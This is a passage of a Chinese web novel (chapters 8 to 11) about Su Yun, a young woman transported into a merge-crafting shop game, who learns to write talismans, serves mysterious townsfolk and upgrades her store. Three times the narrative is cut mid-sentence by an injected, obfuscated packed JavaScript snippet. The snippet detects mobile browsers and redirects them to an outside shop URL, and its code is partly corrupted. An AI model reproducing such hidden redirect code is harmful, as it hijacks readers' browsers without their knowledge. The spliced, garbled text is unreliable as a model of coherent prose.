【你从纸婆婆的纸人中有所感悟,恭喜你获得法术传承:纸人术。】 【恭喜你获得:秘籍碎片×1】 【你从获得的传承中意识到灵纸有多种用途,你对符器有进一步感悟。】 【恭喜你获得:惊喜宝箱×1】 苏芸先下意识看向光屏上方,但很遗憾,这次感悟并没能补满灵力值,甚至把灵晶兑换的灵力消耗了一部分。 但再看看在灶台上颤颤巍巍走起来,并且越走越利落的小纸人,苏芸又觉得很值,多点傍身的手段总是好的。 然后就见小纸人吧唧一下被绊倒。 好不容易爬起来后,被好奇凑过来的小石人一戳,又倒地了。 “……”这小废物。 苏芸点开惊喜宝箱,除了元宝和灵晶外,另还有一块符器碎片。 符器升级后,外形从普通砚台变成带雕花的砚台。 而砚台直接多出了两条合成路径,原本的各色纸条再往上长出一截新的合成物,另外多出了一条毛笔路径,一条纸人路径。 苏芸立刻合成出一支普通毛笔和一只小纸人。 她把合成出的小纸人放在手叠的纸人旁边,想进行对比。 结果棋盘合成出的小纸人一样脆皮,两个你倒了我再倒,根本走不了几步,更别提帮忙干活、打斗了。 苏芸便把两两只小纸人送回棋盘回炉重造,手叠纸人不但顺利被收进棋盘,还能继续合成。 她接着往上合成出一个五级小纸人。 五级小纸人放出来虽不至于动不动摔倒,可被小石人一推依然毫无反抗之人。 苏芸彻底放弃跟纸人较劲,转而拿出毛笔研究。 这条新的合成路径里,所有合成出的毛笔都不科学的背着墨水,只是毛笔的精致程度和背负的墨条大小有所差别。 目前来说,最初级的毛笔就够用了,问题是没有纸。 纸张合成路径里,全都是几指宽的一截一截的纸条,别说本子,连大点的纸张都没有。 虽然记忆力明显增强,可苏芸还是想用纸笔记录下重要的想法。 她取出一张黄纸,又点开那条练字的视频。 8. 第 8 章 苏芸确定,视频里年轻男女教导小女孩写的就是符字。 她之前没了解过这方面的知识,但这种复杂的很长很长的不知名字体,一看就是符啊。 苏芸试着对完整的符进行仿抄。 可这回远没有学拳法时的顺畅,写到一半时笔锋莫名断开了,再想继续下笔的时候,心头燃起一种古怪的烦闷情绪。 她放下笔,深吸一口气,调整好一会儿才压下莫名的情绪。 她拿笔正要继续抄写,忽然想到什么而后打开棋盘。 符器里的纸条路径新长出的合成物就有字符,她认真看了看,最初级的字符跟视频里教导的那个字,确实是一样的,便合成一张并取了出来。 苏芸用心感应一番这张字符,再认真看视频里小女孩的写法,这么集中注意力后,视频直接延长,将字符一笔一画的过程展示得清清楚楚。 她这才发现,按照汉字的笔画逻辑去理解字符是不对的。 苏芸一边看一边用手凌空模仿,直到心里确定记下了字符书写方式,才重新提笔在黄纸上绘制。 第一回还是在最后关头突然断开,但第二回便一气呵成地绘制出一张完整的符。 而且苏芸看着手写的字符有种莫名的感觉,这回不仅是临摹正确,这符和棋盘出品的符一样,是有特殊效果的。 系统提示肯定了她的猜测。 【你回想着幼年时的教导,成功绘制出一张除尘符,恭喜你符箓一道的天赋被顺利激发。】 【恭喜你获得修行礼包:灵晶宝箱×1】 【恭喜你获得:基础符箓大全×1】 【恭喜你获得:高级保命符×1】 苏芸先点开高级保命符。 一张好大的符在光屏上展开,其上的字一笔从纸张的头写到了尾,线条复杂到稍微认真看几眼便会被搅和的脑子疼。 苏芸不敢再细看,直接取出保命符。 取出来的符是按照某种特殊方式自动折叠好的,只是她全身上下看看,没口袋也没包,真不知道放哪里。 想了想,苏芸合成出一块手帕把符纸包裹着,而后简单系在手腕上。 先这么着。 接着她再看基础符箓大全,一本按照古书装订的崭新的书,从左翻页,一页一符。 苏芸对比了一下,这本书里的符的种类绝对比棋盘里可合成的符要多得多,不过合成器会不断升级,倒是不着急。 稍微翻了翻,她便放下书,打开个人页面继续肝。 看一条视频,肝一波,再看视频继续肝,苏芸陆续又完成好几波交易任务。 今天前四条视频全都是教练字的,一条视频一个字,这点跟拳法视频不一样,拳法展开显示全套后便没再出第二条。 第五条视频是小女孩学剑的视频。 要合成出一把剑,至少要八百灵力,且合成路径变成双线后,耗费的灵力可能翻倍。 苏芸便没急着展开视频学剑法,自保的话先把拳法巩固好再说。 而且她记得以后回合制战斗任务里会有武器奖励,现在合成也是浪费。 等最后一波灵力用完后,苏芸暂时关了门。 她留小石人在楼下继续装修,便上楼去打坐,打坐这种事还是回卧室更有安全感。 开始前苏芸特意看了眼计时器,现在快未时也就是下午一点,她是早上彻底天亮后才开始营业,大概七八点,忙活到现在,感觉干了很多事,其实也才过了四五个小时。 记下时间便开始打坐。 等醒来时发现过去了两小时,苏芸在棋盘上合成出些常卖品,便又接着打坐。 这回只过去一个半小时,苏芸就被动醒了。 如此反复,到第三回只成功打坐了一小时,这回苏芸没再继续,直接起身下楼。 快要六点,她要趁夜幕降临前做今天最后一波生意。 楼下已经焕然一新。 这一天积累的金元宝,足够让小石人把楼下的柜台、货架桌椅通通升级一番。 小石人数量越多,消耗的金元宝越多,但升级的速度和效果也越好。 可苏芸没心思仔细看这些,只急忙开门营业。 这回,在交易完成后,她试探着多问了句:“你们可以现在提前说明天想要什么吗?我可以多准备一些。” 说完她还特意拿出了个瓷瓶。 经过一天的对比,她确认放在瓷瓶和玉瓶里的丹药药性不会减弱,至于最开始拿出来的那批已经流失药效的辟谷丹,只能自己用了。 正想说明瓶子的功效时,就见老婆婆看了眼瓶子,主动道:“原来你已经能够炼制丹瓶,你早应该把丹药装进瓶子里。”顿了顿,又微微觑眉补充:“清心丹可不能用这样普通的清灵瓶,至少是青筠瓶才行。” 清灵瓶是普通白瓶,属第三级合成品,青筠瓶是第五级。 手游里,顾客要什么会自动弹出需求,想多卖、少卖都不行。 苏芸愣了愣,继而一笑:“我知道了。”而后又迟疑地加上一句:“谢谢婆婆提醒。” 老婆婆看她一眼,眉目和缓许多:“你刚回来接手铺子,必然有顾虑不周之处,再有不懂的便多问,大家都是看着你长大的。” 是,这里的人似乎比她更了解她现在的身份。 苏芸乖巧地点头。 经过这回试探,她愈发确认这绝不是简单地穿进游戏里,大家都是鲜活的,不只是只按程序行动的NPC,她要更认真地对待。 之后的人也都跟婆婆态度一样好,不但爽快的应下提前下订单的事,还都给出了些建议。 可就算感受到他们的友善,耗完这一波灵力和合成品后,苏芸还是选择了关门。 目前她还不敢在晚上开店,而且天色暗下来后,大公鸡便自动回到后院的窝里,用龙涎丹吸引也不肯回店铺里保护她。 这回关门,苏芸才注意到大门升级了,颜色大小并未变化,但门拴不再是简单搭上的款式,变成了相当严密的内扣款。 至少从门缝里一钩是打不开门了。 但可惜楼下还是没升级出可照明的灯,还好她现在夜视能力很好,不怕摔倒,想要灯光更多是心理需求。 一上楼,苏芸先去打开床 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563963|204646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头的月牙灯,而后走到脸盆架前,正要擦拭时,她想起了之前的除尘符。 苏芸翻出自己画的那张除尘符,这张符她特意留着没卖,除了担心顾客不认,主要想留着自己实验。 但是符纸要怎么用? 她试探着把符往身上一拍,顿时感觉有什么东西绕着全身扫了一圈,那是种很轻微的感觉,像微风刮过,若不是特意关注几乎感觉不到。 她低头看看自己,但可能是这套衣服本来就不凡,因而并没有感到太大差别。 苏芸还是用水擦拭一遍才换上睡衣。 她打算晚上继续肝。 反正打坐跟睡觉差不多,一样能恢复精力、体力。 就这样打坐、恢复灵力,按照记下的订单合成,再打坐、再合成…… 等打坐的时间缩短到只能维持半小时后,苏芸发现灵力值没能恢复满,只恢复了一半,但只要比自动恢复灵力的速度快,她就一直打坐下去。 如此直到晚上11点,苏芸迟迟无法进入那种玄妙的状态,只能放弃打坐回灵。 肝不了也不想睡,她打开光屏整理一天的收获。 卡包都抽了,也都认真看了好几遍,可惜除了纸婆婆的纸人术,再没有别的额外收获。 宝箱也都开了,榨不出多余的灵力值。 虽然灵晶还有,但是一天内用灵晶购买灵力,消耗的灵晶会越来越多,所以苏芸一天只会花费灵晶两到三次,再多就不划算了。 今天签到有一张抽奖券,要不要攒一攒呢? 想是这么想,手比脑子快一步直接抽了。 抽出一盏高架灯,这应该属于路面装饰品,后期会越来越多,多到能把整条街道都布置满,完全不值钱。 但现在嘛,苏芸提着灯下楼,把路灯放在楼下楼梯口的位置。 接下来,她先是把今天四条练字视频反复观看,记下符字的笔画顺序,而后又在空地处打了两遍拳法。 终于熬过了十二点,苏芸立刻重新尝试打坐,还是没成功,便打开视频继续肝。 前三条视频依旧是练字视频,后两条却是关于针的视频。 先肝完再研究。 提前准备订单的好处是,晚上积攒的灵力不用被浪费,但是格子数量有限,必须另外准备丹瓶或匣子,等于同一订单需要耗费更多灵力才能完成。 没错,她从其他人那儿得知,除了丹药之外,符纸没及时使用也是需要合适的匣子装好。 而她以为是工具的铁针、铁钉也不能随意摆放,炼铜炉出品的合成物没有认主前必须要妥善封存。 虽然在苏芸自己研究的过程中并没发现问题,但大家都特意嘱咐了,她也就照做了。 大多数丹药、符箓和铁器用瓷制的瓶子或匣子都可行,直到她把合成的辟毒丹收入瓷瓶时,弹出了一条提示。 【辟毒丹需隔绝浊气存放,确认收入青筠瓶吗?】 她换了更高一级的素云瓶,仍然弹出同样的提示,直到她换了一个玉瓶,没再遭遇阻拦。 等把五条视频的灵力全部消耗完,她才有空细看视频内容。 9. 第 9 章 练字视频和之前大差不差,苏芸又记下了三个字符的写法,倒是关于针的视频出乎预料。 苏芸以为要么是缝补、刺绣一类的技能,要么是扎针之类的。 她其实希望有缝补类技能,按照以往经验,学会后棋盘里纺织机说不定会长出新的合成品。 纺织机现有的合成路径根本无法满足生活需求。 结果视频内容比猜测的更玄幻,居然是飞针的操控方法。 第四条视频,是一条口诀,女孩对着一根针一直念叨这条口诀。 第五条视频是女孩操控着一根小小的飞针飞窜出去,小小的飞针发出破空之音,在穿透坚硬的石块后又乖巧地飞回女孩手中。 苏芸眼睛一亮,这技能也不错啊! 是因为她暂时放弃剑法,所以给了新的攻击手段吗? 原因不重要,重点是针很好合成,她现在就学。 苏芸利落取出一根细细针:“纤影藏锋,遁去无踪……” 可惜耐下性子对着针反反复复念叨几十遍,别说穿透石块,甚至没让针动弹丝毫。 苏芸暂停歇口气,吃了粒辟谷丹。 又较劲十几遍后,便彻底放弃,开始了半夜种田活动。 八块地现在够用了,苏芸没有再让小石人继续扩增,但刚撒好种子,就看到画面里小石人好奇地跑过来,对着地面好奇地看。 相比待在棋盘,小石人更喜欢待在外面,尤其是后院。 没安排任务给他们的时候,他们喜欢在后院各种地方爬上爬下的,但因为不会说话,所以就算到处乱跑也怎么吵。 苏芸便也就放任他们待在外边了。 她隔着屏幕点了点其中一个小石人,小石人似乎感知到什么好奇仰头,什么都没看到后又自顾自跑开去玩了。 苏芸手指继续扒拉,光屏里后院不同方位的画面不停在光屏里跳转着,她好几次差点对后山的白雾动手,但考虑到杂货铺升级需要大量金元宝,又按捺住蠢蠢欲动的手指。 她穿来两天都没上厕所。 苏芸觉得大概率是因为她这两天只正儿八经吃过一顿饭,其他都是靠比辟谷丹混过去,但时间再长点可熬不住。 现在什么都往后放,一切以铺子整体升级为主。 等忙过这一波,苏芸又试了试打坐,这回成功了。 一觉醒来过去了五个小时。 苏芸忙不迭地合成小石人、合成订单物品,再跳转到后院打虫子、收菜、再重新播种,一气呵成做完这些,她正准备继续打坐,突然想起细针,对着细针又念了几遍咒语,仍不能成,才又开始打坐。 第二次过了三小时,天也亮了。 她换好衣服、抱着积攒了一晚的瓶瓶罐罐往楼下去,路过的时候余光瞥到胡乱堆在木墩上的脏衣服,脚步没有丝毫停留地继续往下。 明天,等明天有空再说。 下了楼,苏芸先把各种瓷瓶、玉瓶、匣子摆放在货架上不同的格子里,接着打开后门,照旧把大公鸡抱到店铺里才安心开门营业。 今天老婆婆不是第一个来的,先来的是一位先前没见过的身形挺拔、精神矍铄、面庞像只有三十来许但却满头白发,一时看不透具体年纪的男性客户。 但……都是非人类了,年纪什么的也不重要。 苏芸微笑:“您想要点什么?” 对方没说话,只盯着苏芸看。 “……”苏芸被看得心里毛毛的。 调整好情绪要再问时,忽然一个声音在脑子里响起。 “给我看看你自己画的符。” 她先还以为系统提示,紧接着便发现不对,声音不对。 系统的声音是清悦温和的女声,不但不会让苏芸有丝毫惧怕、不适之感,甚至会让她天然产生亲近信任,不然她也不能立刻就接受自己穿进游戏的事。 可这次的声音却浑厚稳重,还带着微微的压迫感。 苏芸摸摸手腕上包裹着保命符的帕子,又看了眼旁边毫无异样的大公鸡,一面努力安抚好跳动过快的小心脏,一面谨慎地问:“符?你想要什么符?” “都可以。”那个声音再度响起,说着男子又深深地看苏芸一眼:“你竟还不会神识沟通?” 苏芸心中一动,露出茫然状:“神识?” 对方却没再说什么,只负手立在那儿,似乎在等符。 苏芸看向棋盘,手指在现成的符箓上迟疑了一会儿,还是挪开取出了一张空白黄纸。 她左右看看,跑回柜台处。 男子见状直接踱步入内,毫不见外地走到柜台前看着她。 苏芸拿出笔,先调整好状态,等注意力集中后才冷静下笔。 虽然带着压力,但苏芸却觉得这回的成品比之前都要好,一蹴而就、毫无停滞。 可男子看着递过来的符纸,却微微蹙眉。 他明显不满意这符,却并没有退货也没要求换成符器合成品,且在给出金元宝后,还另外拿出一个木匣放在柜台上。 “好好修行,不然何时才能承担得起重任?” 苏芸:“……” 她还不够肝吗? 目送对方回去后,苏芸立刻打开卡包查看这位陌生客人的信息。 【林杏是镇上出名的手艺人,他制作的家具很受小镇百姓喜欢。】 原来右手边第一家店是家具店。 这次交易除了基本的金元宝和卡包外,还有额外奖励。 【恭喜你获得特殊奖励:神秘宝箱×1】 但苏芸在棋盘上看了一圈也没找到新的宝箱,她看着放在柜台上的匣子,“不会说这个吧?” 系统奖励跟客户礼物怎么能混为一谈,这也太糊弄了。 可现在的游戏也没有投诉界面,苏芸只能拿起匣子研究。 这木匣子结构特殊,从外看根本找不到正确开口。 眼看下一位客户要上门,苏芸也不想把时间耽误在好奇心上,简单粗暴地把匣子收进棋盘里,再双击果然强行打开了。 开出的是一个树桩,不用从木块开始合成,直接就是一个完整的人面树桩。 林杏……木桩,这其中的联系实在很难不让人揣测。 但苏芸现在没时间深思,顺手把两个树桩合成升级后,便接着忙活交易任务。 接下来陆陆续续过来的都是昨天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563964|204646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下了订单的人,把早早用瓶子、匣子装好的东西递过去就好,任务完成得很快,经验值和金元宝也唰唰唰上涨。 过后苏芸查日志时还发现,加了瓶子后,收到金元宝也多了一份,这样做果然更划算。 纸婆婆今天来得比较晚。 可能是纸婆婆提供的消息最多,还提供了纸人术,苏芸觉得跟她更熟悉,在她过来后,稍微问了句:“右边第一家的家具店,林……叔说,我要承担重任,什么重任啊?” 只是经营一个杂货铺,谈不上重任吧? “杏老是你父母的长辈,你不能这么唤他。”婆婆先严肃地纠正,而后才说:“等重任降临,你自然就知道了。” 她明显不想在这事上多言语。 苏芸便又试探地问:“那您知道如何开启神识么?” “如今能用神识的只有那些老家伙了。”婆婆说完叹口气,而后又意味深长看苏芸一眼:“若你能顺利开启神识,说不得这重任还真得由你来承担。” 那大概齐,她是得承担点什么了。 就说天上没有白掉的馅饼。 不过苏芸也没有很焦虑,所谓重任大概率是主线任务,还早得很的,她现在更在意神识的事。 苏芸猜测之所以一直操控不了细针,就跟这所谓的神识有关。 神识……大概率是意念交流、操控一类的技能吧。 可惜没能打听到更多消息,看来要等后续剧情才能触发。 等把肝出来的东西全部交易出去,现有的灵气也消耗完,苏芸重复昨日行程,关门、打坐再开门营业,中间抽空种了几波菜。 有了昨天的经验,今天时间规划得更合理,最后一波打坐回灵结束时,天还亮着呢。 苏芸便没急着关门,坐在柜台前,伴着傍晚夕阳慢慢翻看今天的收获。 金元宝够了,她立刻派发小石人去修复房子外面,小时人任劳任怨爬上爬下。 两天肝出来的石精数量很可观,屋顶、窗户、墙壁到处趴着辛勤劳动的小石人。 苏芸便接着看今天收集的人物卡。 这时,一道人影踏入杂货铺,苏芸因为埋头沉浸在光屏里一时没注意到,直到觉得光线太暗,抬头朝门外看时才注意到来人。 这真不能怪苏芸心大,一直开着门。 主要是这里的客户一直表现得很守规矩。 只要她守在门口,大家便都停在门外便完成了交易,没一个人会主动提出要进铺子里,除非她去柜台,客户才会跟着进去。 且这两天的经验是,只有她灵力富余的情况下,客户才会主动找过来下订单。 苏芸心里觉得奇怪,但还是客气地问:“你是要买什么东西?” 那是一名穿着有些夸张的男子。 简单来说,其他人穿的虽然不统一,但至少都是正常范围内的古装,而这人穿得堪比戏服。 厚重又华丽。 但他的脸实在好看,好看得不像真人,又让人不由忽视这古怪的装扮。 或者说,这样一张脸,穿什么都不会奇怪。 这人看了苏芸好一会儿,才笑着道:“我只是来看看你。” 10. 第 10 章 苏芸是先看到那夸张得堪比戏服的大袍子,而后才看到对方的脸。 等看到脸后,对衣服的疑虑瞬间抛到脑后,连询问来意都顾不上,只毫无遮掩地直愣愣地盯着人家脸看。 来人似乎毫不介意,又或者早已习惯。 他自顾自地在不大的铺子里转悠,看到某些地方时,目光里还掺杂了点怀念的复杂情绪。 看过一圈后,他过来对苏芸笑着道:“还光秃秃的什么都没有,得好好努力啊!” 苏芸可不爱被人说。 换成任何人,哪怕是父母,在她肝了这么久居然还这么说,都得被回怼,但此时苏芸没有任何想法,心中居然升起一股,要更努力才能不让此人失望的想法。 美人果然惑人心智,苏芸保证,杀殿穿进现实都没这效果。 以至于那人说完这一句飘然离去后,苏芸才后知后觉回想起对方到底说了什么。 那股气自然没来得及生就散了。 她甩甩头,虽然是美人,但没达成交易就没有人物卡信息,那就先不管。 至于对方特意过来的目的,有相关剧情任务,以后总能触发的。 苏芸现在更迫不及待的还是杂货铺升级。 数量众多的石精上下一块行动,很快便把杂货铺外面都给修复好了。 【恭喜你修复好杂货铺所有破旧之处,但你意识到铺子还有许多不足,是否对店铺进行全面升级?】 当然是。 【想让杂货铺全面升级,你还需要准备一些特殊材料,去后山看看或许会有收获哦。】 终于! 苏芸跳起来跑进后院,一面在屏幕里的画面点点点,一面看着面前现实的大山。 小石人在她点点点的过程中快速跑了过来,只见他们全都拿上跟身板相符的细小工具对着苏芸点过的竹子就是一顿砍。 但和装修时的利落不同,这回小石人砍了半天也没能顺利砍下一根竹子,连尘雾都没能弥漫起来。 苏芸看了一会儿,道:“你们先回来。” 小石人不会说话,但是能够听懂指令。 苏芸把回来的小石人一部分收进棋盘里,再两两合成。 二级的初级石精对竹子依然造成不了太大的伤害,中级石精可以两两合力砍伐掉一根竹子,高级石精能够独立砍伐竹子,而精英石精则完全不是问题。 中级石精和初级石精在外形上跟最普通石精看不出太大差别,顶多是掏出来的工具更坚硬。 精英石精则看起来跟四级及以下的石精完全不是同一个物种。 他足有半人高,胸膛、胳膊、腿全都由一块块坚硬的石头拼凑,石头一块一块的仿佛一个肌肉隆起的小矮人。 且其他石精使用的工具还是石块状,但精英石精直接掏出的工具除了材质颜色,跟人类打造的斧头没什么差别,工艺程度很高。 苏芸见状干脆将所有小石人全部两两合成再合成,最终合成出一个五级精英石精两个三级中级石精、一个二级初级石精。 再放出去,小石人果然效率高很多。 当然,主要战力还是精英石精。 几乎眨眼间,精英石精便砍下好些竹子,竹子落地自动化为材料堆。 【你在后山发现了不寻常的材料,并指派石精采集。】 【恭喜你获得:木材+1……石料+1……】 【你意识到后山蕴藏着丰富的宝物,恭喜你发现新天地,探山任务正式开启。】 【恭喜你获得探索奖励:工具包箱×1、灵晶×10】 伴随着一声声提示,石阶慢慢被精英石精清理干净,白雾朝山林褪去一部分,山路往前延伸了很长一截。 苏芸看向光屏,在露出的山林部分点了好几下,石精立刻本着她点的位置去干活了。 这里只能搜集石料和木材,铺子升级还需要矿料,她将光屏跳转到山洞画面,正要操作,一道红影从眼前闪过。 扭头一看,就见大公鸡跟在石精后面上山觅食去了。 苏芸只扫一眼便没再管,她长按山洞。 【你在后院的隐秘角落发现一个不寻常的地穴,恭喜你发现新天地,挖矿任务正式开启。】 果然这回可以开启了。 山洞挖矿任务有两关,第一关是消消乐小游戏。 整出四连、五连、十字、L、T型等等的消除特效,就能获得对应的道具,这些道具可以用于挖矿。 有了道具可以选择挖一整横排、竖排、十字、炸弹还是直接消一整页,可以说是挖矿任务不可缺少的前置条件。 只是打道具也要耗费灵力值,一把二十灵力值。 一把就是只要每一次挪动都能出特殊道具就能一直活着,一旦只能整出普通三连,直接死局。 如果遇到运气不好的开局,可能几把都打不下一个道具。 但没有道具只能苦逼兮兮一个格子一个格子地挖,所以还是先打道具更划算。 苏芸可是消消乐高手,而这回运气也格外好,开盘就碰到特别集中的棋局,手指随便点都能唰唰唰不间断地累积特殊道具。 一连攒了十多个,棋盘实在动不了她才结束这一把。 苏芸手指一划拉,没有停歇地跳转到山洞页面,山洞一页代表一层。 上来就用最大的道具一连消除好几层,材料一齐,苏芸都顾不得首次任务获得的宝箱,便马不停蹄点击全面升级。 石精扛着工具从后山马不停蹄跑进铺子里。 苏芸以为待在后院里没关系,结果杂货铺升级居然连带着整个后院跟着一起变化。 更不科学的是,明明现在石精只有几个,全都集中在铺子里忙活,后院却也跟着震荡了。 大公鸡‘咯咯哒’叫唤几声,飞到更高的枝头上蹲着,苏芸也干嘛沿着后山的石阶往上走了走。 没多久,整个铺子都被尘雾笼罩在内。 苏芸新奇地看了几眼,便埋头继续肝。 先把挖矿道具用完,不仅仅是特效道具,一个个小锄头也用得差不多,才停下手。 整理一下得到的各种矿物材料和大把灵晶,再点开各种奖励宝箱。 探山任务获得的工具宝箱开出了基础工具箱的合成碎片,挖矿任务宝箱则开出了炼铁炉碎片。 没有新的合成器,失望。 但和其他合成器一样,再升级的合成器,合成路径自动增长了。 刚好收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563965|204646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 获了一波灵力团和灵晶,可以肝一波订单。 苏芸手指在棋盘上方正要点下去,想了想又停下了。 还是等杂货铺升级后再说,升级也有宝箱的。 她点了点升级的人面树桩,合成出一个花篮,得到八粒新种子。 一级树桩合成的花篮,多给的是诸如水稻、土豆、玉米、青菜……等粮食蔬菜类。 这回给得更多是水果类。 花篮喷出来的种子很随机,且每个花篮都不一样,反正这里的田地也不按照正常农业规律来,有什么种什么呗。 灶台自带的储物空间不小,还有保鲜效果,苏芸很积极地把种子种下了。 后院随着杂货铺的升级在变化,但并不影响她依靠光屏强行种地。 然后就是等待了。 店铺升级比家具升级要等的时间久很多。 等着等着,觉得无聊的苏芸又开了几把消消乐。 运气确实变好了不少,每回开局都特别顺畅,不用动脑就能整出大把特效,以至于苏芸不小心就沉迷进去了。 直到光屏上弹出数条提示框,同时一连串提示音在脑海里响起。 【恭喜你完成首次全面升级,杂货铺已焕然一新,请自行探索。】 【恭喜你获得店铺升级奖励:金元宝×100、灵晶×50、高级宝箱×1、工具宝箱×1、惊喜宝箱×1、抽奖卡券×1、基础景观×10】 【你从这些时日的经营过程中有所感悟,恭喜你修为更近一步,从此滋养经脉、内视己身。】 【恭喜你获得修行礼包:灵晶宝箱×1、秘籍碎片×1、低阶铁剑×1】 【恭喜你完成今日签到任务: 完成一次种植任务√奖励金元宝×10 学会一种法术√奖励灵晶×20 完成店铺升级任务√奖励抽奖卡券×3】 【恭喜你完成初期签到任务,即将开启下阶段签到任务,签到周期为七天。】 【恭喜你获得任务奖励:时装×1】 如果还是手游,她只会一个接一个地开宝箱,至于装修结果看都不会看的,但现在,苏芸立刻噔噔噔跑进铺子上了二楼。 房间还是一字型不变,但内部空间明显扩张了许多,得有八十平。 且装潢方面上升了不止一个档次,原本一体式木质色调的朴素房间变得雅致又明亮。 本来已经升级到最高级的床铺、柜子和木桌跟着房间一并再次升级,除此之外房间还多出许多配置。 衣柜扩张成一整排,旁边多了一个全身镜;木板床变成了带木箱、带架子、带纱帐的精美拔步床,连床上软垫被褥也自动配备齐全了;小木墩和床头桌倒是没升级,但旁边多了一张带椅子的梳妆台。 除此之外,临山的窗户下,多了一张带小茶几的罗汉床,临街的窗户下则多了一组茶几,一张摇椅。 苏芸只略微扫了一眼,便径直掠过,她走到房间最里边,却什么也没找到。 不死心准备回下楼再找时,才注意楼梯口的位置,唯一没有窗的那面墙上多了一扇小门。 苏芸毫不犹豫开门入内,心情一下子放松下来。 洗漱间可算开出来了。 11. 第 11 章 你们见过古色古香的现代化卫生间吗? 这描述听起来很矛盾,但苏芸看到了现实版。 地板居然是木质的,窗户也是,窗棂用了和地面同色的老木,并雕有流云回纹。 淋浴、浴缸、马桶、梳洗台这些现代配置齐全,只是造型格外古风。 淋浴喷头是莲花状,连水管都像打磨处理过的莲藤,还有荷叶状的装饰做浮台,上面可以放洗护用品。 淋浴跟浴缸分属两个区域,浴缸像一朵巨大漂亮的花,具体什么花没看出来,旁边不但摆放了红木茶几,配有香炉茶具,还放置了一面雅致的屏风做隔断。 马桶倒是瓷质,但却是典雅的青瓷。 梳洗台就是升级版的脸盆架,就说脸盆架跑哪里去了,原来被挪到了卫生间。 先前简单朴素的三足立架升级为特别复杂厚重的十二足,放在卫生间里像一个巨大的摆饰。 上方的置物台多了两层,上层摆放着叠好的棉布巾,中层的木盆换成了一个青瓷槽,青瓷槽上有一个小小的倾斜的双色瓷瓶。 苏芸试了试,发现玉瓶能放水,这就是水龙头了,瓷瓶转动还能调节水温,特别智能。 下层则多了一个置物篓,一直没洗的脏衣服被扔在这里。 架子上方的横杆变为整面雕栏,中间镶嵌一面椭圆铜镜,这铜镜清晰度不比玻璃镜差。 架子旁边靠门的位置,摆放了一排四足矮柜。 整体风格十分典雅,就是很像摆设、贴图,不像真给人用的。 苏芸一一打开矮柜的抽屉。 这回升级耗光了所有金元宝,但是很划算。 升级得来的柜子终于不是纯摆设,每一个抽屉都装了点东西。 第一排一个抽屉里放了六支牙刷和两个小木匣,牙刷三支木柄、三支竹柄,两个木匣都是精美的漆器。 一个装有青绿色粉末,一个放了白色粉末,苏芸凑近闻了闻,从绿色粉末能明显闻到薄荷味,这应该是牙粉。 第二个抽屉里放着一个大贝壳、一个螺钿匣,贝壳里放着一枚乳白色圆香皂,匣子里是褐色粉末。 一个是香皂,另一个只能是洗头的……吧? 苏芸把螺钿放进棋盘里,棋盘下方显示的信息果然是洗头粉。 第三个抽屉里放了好几个粉饼状的螺钿盒,里边是统一的乳白香膏,香味各有不同,但只这样分辨不出来用途,只能靠棋盘给答案。 棋盘给的答案是,这全都是身体乳,从脸到脚都能用的那种,功能一致,只有香型不同。 ……行吧,总比没有的好。 第二排第一个抽屉里放着几条新的叠好的布巾;第二个抽屉是两盒子熏香,这香也是粉末状的古香,且没有点燃器;第三个抽屉里是一个装满了蓝色粉末的大罐子,棋盘显示为除尘粉,洗衣服、打扫卫生、洗碗……一切除尘相关的都可以用。 最底下一排的第一个抽屉里放了一双竹编拖鞋、一双上过透明漆的木拖鞋、一双软底布鞋;第二个抽屉放了一个小木盆和大小不一的三个竹筒杯;第三个抽屉里放了三个木匣。 打开一看木匣装的是抽纸,每盒抽纸的印花还不同。 苏芸以为有什么讲究,用棋盘一查,没有任何功能上的区分。 虽然不都是惯用的,但总归来说该有的都有了。 不对,还是没有洗衣机。 她拿出木盆倒了点除尘粉,接上清水,脏衣服泡里边便先放一边不管了。 苏芸拿着洗护用品舒舒服服地去泡澡,顺便把一连串的任务奖励整理整理。 金元宝、灵晶加了一波,还攒了好几个灵力团,各种宝箱开出好些合成器碎片。 一枚碎片让纺织机升级成织造机,原有的合成路径延长好大一截,布匹多出好几种材质,连颜色和花纹的选项也多了。 衣服款式也增加许多,同时还增加了另外一条合成路线。 苏芸之前一直纠结的符器只产纸条不产书写纸和生活用纸的痛点,这回有了着落。 织造机的第二条线不但生产书写纸张、柔软的纸巾,还有牙刷、杯子、盆、鞋等刚刚从柜子里翻出来的生活用品。 除此之外还开出了两个新的合成器。 一个铜鼎碎片合成出了初级香炉,香炉能产除尘粉、牙粉、香膏等等,还能合成各种清心、助眠、养神、聚灵的香。 另一个合成器就比较特别了。 一块贝壳碎片合成了一个绚丽的匣子,这匣子要另外融合进好些矿洞里挖出来的宝石才能真正启动。 